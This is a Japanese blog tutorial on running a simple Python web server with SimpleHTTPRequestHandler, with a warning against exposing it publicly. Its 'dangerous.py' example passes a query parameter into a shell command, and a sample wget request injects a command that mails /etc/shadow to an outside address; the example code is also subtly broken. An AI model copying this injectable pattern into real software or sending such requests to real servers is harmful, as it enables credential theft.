8
9

More than 5 years have passed since last update.

Pythonで簡易Webサーバーを作る

Last updated at Posted at 2019-08-31

最小構成

たったこれだけで、簡易のWebサーバーを立てることができます。
SimpleHTTPRequestHandlerを使用しています。

web.py
import http.server
import socketserver

LISTEN_PORT = 8080

class ServerHandler(http.server.SimpleHTTPRequestHandler):

    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(b"<h1>It works!</h1>")

if __name__ == "__main__":
    HOST, PORT = '', LISTEN_PORT

    with socketserver.TCPServer((HOST, PORT), ServerHandler) as server:
        server.serve_forever()

do_GETのところにsubprocess等で好きなコマンドを書いてあげれば、HTTPリクエストをトリガーにして任意の処理を実行できます。
Dockerで簡易のコンテナ間通信を実装するのにも使えそうですね。

注意点

(!)そのままインターネットに公開しないこと

だいたい察しがつくとは思いますが、上記のように作ったサーバーをインターネットに公開してはいけません。
SimpleHTTPRequestHandlerのソースコードにもコメントで以下のように記載されています。

SECURITY WARNING: DON'T USE THIS CODE UNLESS YOU ARE INSIDE A FIREWALL -- it may execute arbitrary Python code or external programs.

この簡易サーバーは場合によっては任意のPythonコードやプログラムを実行できてしまうため、外部に公開するのは非常に危険です。
LAN内やサーバー内部での通信に使うようにしましょう。

任意のコマンドを実行できる例

以下のように、送られてきたリクエストの中身をログに書いていくプログラムを作ったとしましょう。
例えばhttp://localhost:8080?msg=helloと送るとecho hello >> /somedir/message.logが実行され、ログにhelloと書き込まれます。

dangerous.py
import urllib.parse as urlparse

#省略(上記web.pyと同じ)

    def do_GET(self):
        parsedurl = urlparse.urlparse(url)
        message = urlparse.parse_qs(parsedurl.query)['msg']
        command = '/bin/echo ' + message + ' >> /somedir/message.log'
        subprocess.call(command, shell=True)

#省略(上記web.pyと同じ)

このサーバーを動かして、以下のようなリクエストを送ってみましょう。

$ wget "http://localhost:8080?msg=foobar%3Bcat%20%2Fetc%2Fshadow%20%7C%20mail%20someone%40somedomain.com"

echo foobar; cat /etc/shadow | mail someonr@somedomain.com >> /somedir/message.logが実行され、パスワードハッシュが外部に公開されてしまいます。

プログラムを工夫すれば安全なサーバーにできると思いますが、外部に公開する用途ならあれこれ考えるよりもおとなしくnginxやApacheを使った方が安全でしょう。

8
9
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
8
9